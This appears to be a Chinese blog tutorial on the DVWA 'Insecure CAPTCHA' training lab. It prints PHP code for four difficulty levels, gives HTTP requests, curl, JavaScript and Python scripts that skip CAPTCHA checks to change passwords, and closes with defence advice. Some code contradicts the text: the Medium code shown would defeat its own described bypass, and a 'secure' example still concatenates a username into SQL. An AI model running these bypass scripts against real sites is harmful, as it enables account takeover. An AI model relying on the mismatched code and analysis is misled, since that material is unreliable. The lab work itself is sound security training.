0%

DVWA - Insecure CAPTCHA (不安全的验证码) 攻防练习详解

目录


漏洞简介

什么是Insecure CAPTCHA(不安全的验证码)?

CAPTCHA(Completely Automated Public Turing test to tell Computers and Humans Apart)是一种区分人类和机器的验证机制。不安全的CAPTCHA实现允许攻击者绕过验证,自动化执行敏感操作。

CAPTCHA的目的:

  • 防止机器人自动化攻击
  • 防止暴力破解
  • 防止垃圾邮件
  • 防止自动注册

危害:

  • 绕过人机验证
  • 自动化暴力破解
  • 批量注册账户
  • 垃圾信息发送
  • 拒绝服务攻击

DVWA场景:
修改密码功能,使用reCAPTCHA验证。


Low 难度

攻击目标

CAPTCHA验证完全失效,可直接绕过。

后端代码分析

步骤1:显示验证码(index.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

// 检查是否点击了"Change"按钮
// isset() - 检查变量是否存在
if( isset( $_POST[ 'Change' ] ) ) {

// ★★★ 问题:将step参数通过隐藏字段传递到下一步 ★★★
// 攻击者可以直接跳过验证码检查,访问step=2

// 获取用户输入
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// 检查两次密码是否一致
if( $pass_new == $pass_conf ) {

// ★★★ 危险操作:在客户端设置step=2 ★★★
// 使用隐藏字段传递step参数
// 攻击者可以修改这个值
echo "
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
";

// ★★★ 显示reCAPTCHA ★★★
// reCAPTCHA - Google提供的验证码服务
// 但Low难度下,验证码检查可以被绕过
echo "
<div class=\"g-recaptcha\" data-sitekey=\"6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yEo\"></div>
<br />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
echo '<pre>Both passwords must match.</pre>';
}
}

?>

步骤2:验证并修改密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

// ★★★ 检查step参数 ★★★
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {

// 获取密码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// 检查密码是否一致
if( $pass_new == $pass_conf ) {

// ★★★ 核心漏洞:不验证reCAPTCHA响应! ★★★
// 虽然前端显示了reCAPTCHA
// 但后端完全不检查用户是否通过了验证码
// 只要step=2,就直接修改密码

// MD5加密新密码
$pass_new = md5( $pass_new );

// ★★★ SQL注入漏洞:直接拼接SQL ★★★
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );

// 更新密码
$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// 密码修改成功
echo '<pre>Password Changed.</pre>';
}
else {
echo '<pre>Passwords did not match.</pre>';
}

mysql_close();
}

?>

漏洞分析

核心问题:

  1. step参数在客户端控制 - 通过隐藏字段传递
  2. 后端不验证reCAPTCHA - 只检查step=2
  3. 可以直接跳到step 2 - 绕过验证码
  4. SQL注入漏洞 - 直接拼接SQL语句

攻击流程:

1
2
3
4
5
正常流程:
1. 输入新密码 → 2. 显示验证码 → 3. 验证通过 → 4. 修改密码

绕过流程:
1. 直接发送step=2的请求 → 2. 修改密码成功

攻击步骤

方法1:直接跳过验证码

使用Burp Suite:

  1. 打开Burp Suite,开启拦截
  2. 在DVWA输入新密码,点击Change
  3. Burp拦截到第一个请求(step=1)
  4. 直接发送第二个请求(step=2)

第一个请求(正常):

1
2
3
4
POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
...

password_new=newpass123&password_conf=newpass123&Change=Change

第二个请求(绕过验证码):

1
2
3
4
POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
...

step=2&password_new=newpass123&password_conf=newpass123&Change=Change

直接发送第二个请求,密码修改成功,无需验证码!

方法2:修改隐藏字段

  1. 在浏览器按F12打开开发者工具
  2. 在Console中执行:
1
2
3
4
5
6
7
8
9
10
11
// 修改step值
document.querySelector('input[name="step"]').value = '2';

// 或直接提交表单
var form = document.querySelector('form');
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'step';
input.value = '2';
form.appendChild(input);
form.submit();

方法3:使用curl命令

1
2
3
4
# 直接发送step=2的请求
curl -X POST "http://dvwa.local/dvwa/vulnerabilities/captcha/" \
--cookie "security=low; PHPSESSID=你的session" \
--data "step=2&password_new=hacked&password_conf=hacked&Change=Change"

方法4:Python脚本自动化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

# 配置
url = "http://dvwa.local/dvwa/vulnerabilities/captcha/"
cookies = {
'security': 'low',
'PHPSESSID': '你的session值'
}

# 直接发送step=2请求
data = {
'step': '2',
'password_new': 'hacked123',
'password_conf': 'hacked123',
'Change': 'Change'
}

response = requests.post(url, data=data, cookies=cookies)

if 'Password Changed' in response.text:
print("[+] 密码修改成功!")
else:
print("[-] 修改失败")

Medium 难度

攻击目标

后端验证reCAPTCHA,但验证逻辑有缺陷。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {

// 获取密码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

if( $pass_new == $pass_conf ) {

// 显示reCAPTCHA表单
echo "
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<div class=\"g-recaptcha\" data-sitekey=\"6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yEo\"></div>
<br />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
echo '<pre>Both passwords must match.</pre>';
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {

$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

if( $pass_new == $pass_conf ) {

// ★★★ 新增:验证reCAPTCHA ★★★
// $_POST['g-recaptcha-response'] - reCAPTCHA响应token
$recaptcha = $_POST[ 'g-recaptcha-response' ];

// ★★★ 调用reCAPTCHA API验证 ★★★
// file_get_contents() - 读取文件内容(这里是HTTP请求)
// Google reCAPTCHA验证API
// secret - 服务器端密钥
// response - 用户的reCAPTCHA响应
// remoteip - 用户IP地址
$response = file_get_contents(
'https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&response=' . $recaptcha . '&remoteip=' . $_SERVER[ 'REMOTE_ADDR' ]
);

// ★★★ 解析JSON响应 ★★★
// json_decode() - 将JSON字符串转换为对象
// 响应格式:{"success": true/false, ...}
$response = json_decode( $response );

// ★★★ 关键漏洞:只检查passed_captcha,不检查success ★★★
// 问题:
// 1. 如果不发送g-recaptcha-response,$response为null
// 2. 或者发送错误的response,success为false
// 3. 但只要设置了$_POST['passed_captcha'],就能绕过
if( $response->success ) {

// 验证通过,设置passed_captcha
// ★★★ 问题:使用$_POST设置标志 ★★★
// $_POST是用户可控的!
$_POST[ 'passed_captcha' ] = 'true';
}
else {
// 验证失败
$_POST[ 'passed_captcha' ] = 'false';
}
}

// ★★★ 核心漏洞:检查$_POST['passed_captcha'] ★★★
// 问题:$_POST是用户可控的!
// 攻击者可以直接在请求中添加passed_captcha=true
if( $_POST[ 'passed_captcha' ] == 'true' ) {

// 修改密码
$pass_new = md5( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

echo '<pre>Password Changed.</pre>';
}
else {
echo '<pre>CAPTCHA verification failed!</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

新增防护

  1. reCAPTCHA API验证 - 调用Google API验证
  2. 检查success字段 - 验证reCAPTCHA响应

仍存在的漏洞

核心问题:

1
2
3
4
5
6
7
// 设置标志
$_POST['passed_captcha'] = 'true';

// 检查标志
if ($_POST['passed_captcha'] == 'true') {
// 修改密码
}

问题:$_POST是用户可控的!

攻击者可以直接在POST数据中添加passed_captcha=true

绕过方法

方法1:直接添加passed_captcha参数

使用Burp Suite:

拦截step=2的请求,添加参数:

1
2
3
4
POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
...

step=2&password_new=hacked&password_conf=hacked&passed_captcha=true&Change=Change

方法2:使用curl

1
2
3
curl -X POST "http://dvwa.local/dvwa/vulnerabilities/captcha/" \
--cookie "security=medium; PHPSESSID=你的session" \
--data "step=2&password_new=hacked&password_conf=hacked&passed_captcha=true&Change=Change"

方法3:Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = "http://dvwa.local/dvwa/vulnerabilities/captcha/"
cookies = {
'security': 'medium',
'PHPSESSID': '你的session'
}

data = {
'step': '2',
'password_new': 'hacked123',
'password_conf': 'hacked123',
'passed_captcha': 'true', # 关键:直接添加这个参数
'Change': 'Change'
}

response = requests.post(url, data=data, cookies=cookies)

if 'Password Changed' in response.text:
print("[+] 绕过成功!密码已修改")
else:
print("[-] 绕过失败")

High 难度

攻击目标

使用SESSION存储验证状态,更安全但仍可绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {

$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

if( $pass_new == $pass_conf ) {

// 显示reCAPTCHA
echo "
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<div class=\"g-recaptcha\" data-sitekey=\"6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yEo\"></div>
<br />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {

$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

if( $pass_new == $pass_conf ) {

// 验证reCAPTCHA
$recaptcha = $_POST[ 'g-recaptcha-response' ];
$response = file_get_contents(
'https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&response=' . $recaptcha . '&remoteip=' . $_SERVER[ 'REMOTE_ADDR' ]
);
$response = json_decode( $response );

// ★★★ 改进:使用SESSION存储验证状态 ★★★
// $_SESSION - 服务器端会话变量
// 存储在服务器,客户端无法直接修改
if( $response->success ) {
$_SESSION[ 'passed_captcha' ] = true;
}
else {
$_SESSION[ 'passed_captcha' ] = false;
}
}

// ★★★ 检查SESSION中的验证状态 ★★★
// 比Medium更安全,因为SESSION在服务器端
if( $_SESSION[ 'passed_captcha' ] ) {

// 修改密码
$pass_new = md5( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

echo '<pre>Password Changed.</pre>';

// ★★★ 问题:修改密码后不清除SESSION标志 ★★★
// 一旦通过验证码,SESSION['passed_captcha']一直为true
// 可以重复使用!
}
else {
echo '<pre>CAPTCHA verification failed!</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

新增防护

  1. 使用SESSION存储 - 服务器端存储,客户端无法修改

仍存在的漏洞

核心问题:

1
2
3
4
5
6
if( $response->success ) {
$_SESSION['passed_captcha'] = true;
}

// 修改密码后,不清除SESSION标志
// 问题:可以重复使用!

一旦通过一次验证码,SESSION中的passed_captcha永久为true,可以无限次修改密码!

绕过方法

方法:通过一次验证码,然后重复使用

步骤:

  1. 正常完成一次验证码验证
  2. SESSION中passed_captcha被设置为true
  3. 之后可以不断发送step=2请求修改密码
  4. 无需再次验证验证码

Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

url = "http://dvwa.local/dvwa/vulnerabilities/captcha/"
session = requests.Session()

# 第一步:登录DVWA
login_url = "http://dvwa.local/dvwa/login.php"
login_data = {
'username': 'admin',
'password': 'password',
'Login': 'Login'
}
session.post(login_url, data=login_data)

# 第二步:设置安全级别
session.get("http://dvwa.local/dvwa/security.php?security=high")

# 第三步:手动完成一次验证码(或使用自动识别)
print("[*] 请在浏览器中手动完成一次验证码验证")
input("[*] 完成后按Enter继续...")

# 第四步:循环修改密码(无需再验证)
for i in range(10):
data = {
'step': '2',
'password_new': f'hacked{i}',
'password_conf': f'hacked{i}',
'Change': 'Change'
}

response = session.post(url, data=data)

if 'Password Changed' in response.text:
print(f"[+] 第{i+1}次修改成功:hacked{i}")
else:
print(f"[-] 第{i+1}次修改失败")

Impossible 难度

攻击目标

完善的CAPTCHA验证,无法绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php

if( isset( $_POST[ 'Change' ] ) ) {

// ★★★ 改进1:验证Anti-CSRF token ★★★
// checkToken() - 验证CSRF token
// 防止跨站请求伪造
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// ★★★ 改进2:验证当前密码 ★★★
// 即使绕过CAPTCHA,也需要知道当前密码
$pass_curr = $_POST[ 'password_current' ];
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// 清理输入
$pass_curr = stripslashes( $pass_curr );
$pass_new = stripslashes( $pass_new );
$pass_conf = stripslashes( $pass_conf );

// MD5加密当前密码
$pass_curr = md5( $pass_curr );

// 转义
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ 核心防护1:验证当前密码 ★★★
// 查询数据库验证当前密码是否正确
$query = "SELECT password FROM `users` WHERE user = '" . $_SESSION[ 'username' ] . "' AND password = '$pass_curr';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// ★★★ 核心防护2:reCAPTCHA验证 ★★★
$recaptcha = $_POST[ 'g-recaptcha-response' ];
$response = file_get_contents(
'https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&response=' . $recaptcha . '&remoteip=' . $_SERVER[ 'REMOTE_ADDR' ]
);
$response = json_decode( $response );

// ★★★ 多重验证 ★★★
// 条件1:当前密码正确
// 条件2:新密码和确认密码一致
// 条件3:reCAPTCHA验证通过
if( ( $result && ( mysqli_num_rows( $result ) == 1 ) ) && ( $pass_new == $pass_conf ) && $response->success ) {

// 所有验证通过,修改密码
$pass_new = md5( $pass_new );

$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

echo '<pre>Password Changed.</pre>';
}
else {
// 验证失败(不透露具体原因,安全实践)
echo '<pre>Either your current password is incorrect or the reCAPTCHA was invalid.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// ★★★ 生成新的CSRF token ★★★
generateSessionToken();

?>

完善的防护机制

多层防御:

  1. CSRF Token - 防止跨站请求伪造
  2. 验证当前密码 - 必须知道旧密码
  3. reCAPTCHA验证 - 每次都验证
  4. 新密码确认 - 两次输入一致
  5. 不泄露错误信息 - 不透露失败原因

为什么无法绕过?

1
2
3
4
5
6
7
8
攻击者的困境:

1. 需要有效的CSRF Token ← 每次都不同
2. 需要知道当前密码 ← 攻击者不知道
3. 需要通过reCAPTCHA ← 每次都验证
4. 所有条件必须同时满足

即使绕过CAPTCHA,也无法修改密码(因为不知道当前密码)

防御建议

代码层面

1. 正确验证reCAPTCHA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 正确的验证方式
if (isset($_POST['g-recaptcha-response'])) {
$recaptcha = $_POST['g-recaptcha-response'];

$response = file_get_contents(
'https://www.google.com/recaptcha/api/siteverify?secret=' . $secret_key .
'&response=' . $recaptcha .
'&remoteip=' . $_SERVER['REMOTE_ADDR']
);

$response = json_decode($response);

// 检查success字段
if ($response->success !== true) {
die('reCAPTCHA verification failed');
}
} else {
die('reCAPTCHA is required');
}

2. 不使用客户端可控的变量存储状态

1
2
3
4
5
6
7
// 错误方式 ✗
$_POST['passed_captcha'] = 'true';
if ($_POST['passed_captcha'] == 'true') { ... }

// 正确方式 ✓
$_SESSION['passed_captcha'] = true;
if ($_SESSION['passed_captcha'] === true) { ... }

3. 使用后立即清除验证状态

1
2
3
4
5
6
7
8
9
10
// 验证通过
$_SESSION['captcha_verified'] = true;

// 执行敏感操作
if ($_SESSION['captcha_verified']) {
// 修改密码

// 立即清除标志
unset($_SESSION['captcha_verified']);
}

4. 使用token机制

1
2
3
4
5
6
7
8
9
10
11
12
// 生成一次性token
$token = bin2hex(random_bytes(32));
$_SESSION['captcha_token'] = $token;

// 验证后检查token
if (isset($_POST['captcha_token']) &&
isset($_SESSION['captcha_token']) &&
hash_equals($_SESSION['captcha_token'], $_POST['captcha_token'])) {

// token有效
unset($_SESSION['captcha_token']); // 立即删除
}

5. 添加额外的安全措施

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 要求输入当前密码
$current_pass = md5($_POST['current_password']);
$query = "SELECT * FROM users WHERE user='$username' AND password='$current_pass'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) != 1) {
die('Current password incorrect');
}

// CAPTCHA验证
if (!verify_recaptcha($_POST['g-recaptcha-response'])) {
die('CAPTCHA verification failed');
}

// 都通过后才修改密码

最佳实践

  1. 使用reCAPTCHA v3 - 更智能,用户体验更好
  2. 服务器端验证 - 绝不信任客户端
  3. 一次性使用 - 验证后立即清除状态
  4. 多因素验证 - CAPTCHA + 密码 + 邮箱验证
  5. 限制尝试次数 - 防止暴力破解

总结对比

特性 Low Medium High Impossible
CAPTCHA验证 ❌ 不验证 ✅ 验证但有缺陷 ✅ SESSION存储 ✅ 完善验证
状态存储 客户端(step) 客户端($_POST) 服务端($_SESSION) N/A
验证位置 ❌ 无 后端 后端 后端
可重用性 N/A ❌ 可绕过 ✅ 可重用 ❌ 不可重用
当前密码验证
CSRF防护
攻击难度 极易 简单 中等 极难

实战建议

学习路径:

  1. Low难度 - 理解step参数绕过
  2. Medium难度 - 学习$_POST劫持
  3. High难度 - 理解SESSION重用
  4. Impossible难度 - 掌握完善的防御

攻击技巧:

  • 使用Burp Suite修改请求参数
  • 理解客户端vs服务器端验证
  • 观察SESSION行为
  • 自动化测试脚本

防御重点:

  • 服务器端验证CAPTCHA
  • 不使用客户端可控变量
  • 验证后清除状态
  • 添加多层安全措施

道德准则:

  • 只在授权环境测试
  • 理解是为了构建更安全的系统
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels